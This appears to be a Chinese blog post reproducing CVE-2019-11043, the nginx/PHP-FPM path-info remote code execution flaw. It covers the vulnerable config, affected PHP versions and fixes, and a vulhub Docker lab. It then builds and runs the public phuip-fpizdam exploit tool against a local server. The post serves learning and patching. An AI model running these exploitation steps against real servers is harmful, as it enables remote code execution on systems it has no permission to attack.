CVE-2019-11043漏洞复现

最新推荐文章于 2025-06-29 03:24:54 发布

原创最新推荐文章于 2025-06-29 03:24:54 发布 · 426 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#nginx #php #linux #docker

CVE 同时被 3 个专栏收录

5 篇文章

订阅专栏

php

1 篇文章

订阅专栏

nginx

1 篇文章

订阅专栏

本文围绕CVE-2019-11043漏洞展开，介绍了该漏洞因nginx + php - fpm配置不当导致远程代码执行，影响PHP 7.0 - 7.3版本，给出修复建议。还讲述了在kali系统搭建docker、golang环境进行漏洞复现，以及利用工具攻击的过程，并提供参考链接。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

CVE-2019-11043漏洞复现

0x01漏洞简介

nginx + php-fpm 配置不当，当nginx配置文件中有fastcgi_split_path_info，却没有if(!-f $document_root$fastcgi_script_name){return 404;}的时候就会导致远程代码执行。

向Nginx + PHP-FPM的服务器 URL发送 %0a 时，服务器返回异常。

该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下：

location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass   php:9000;
...
}

攻击者可以使用换行符（％0a）来破坏fastcgi_split_path_info指令中的Regexp。 Regexp被损坏导致PATH_INFO为空，从而触发该漏洞。

影响版本：

PHP 7.0 版本
PHP 7.1 版本
PHP 7.2 版本
PHP 7.3 版本

修复建议：

PHP 7.1.X更新至7.1.33
PHP 7.2.X更新至7.2.24
PHP 7.3.X更新至7.3.11

0x02环境搭建

系统：kali

安装 docker、golang 环境

sudo apt-get install docker docker-compose
sudo apt install golang

搭建环境

git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043 && docker-compose up -d

在这里插入图片描述

查看docker环境：

在这里插入图片描述

访问8080端口，成功如下

在这里插入图片描述

0x03漏洞利用

安装漏洞利用工具

git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go env -w GOPROXY=https://goproxy.cn
go get -v && go build

默认使用的是proxy.golang.org，在国内无法访问，所以换了一个国内能访问的代理地址：https://goproxy.cn

在这里插入图片描述

工具攻击

./phuip-fpizdam http://127.0.0.1:8080/index.php

在这里插入图片描述

成功利用，参数名为a

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AAP46kuo-1610457931550)(C:\Users\10068\AppData\Roaming\Typora\typora-user-images\image-20201225021301464.png)]$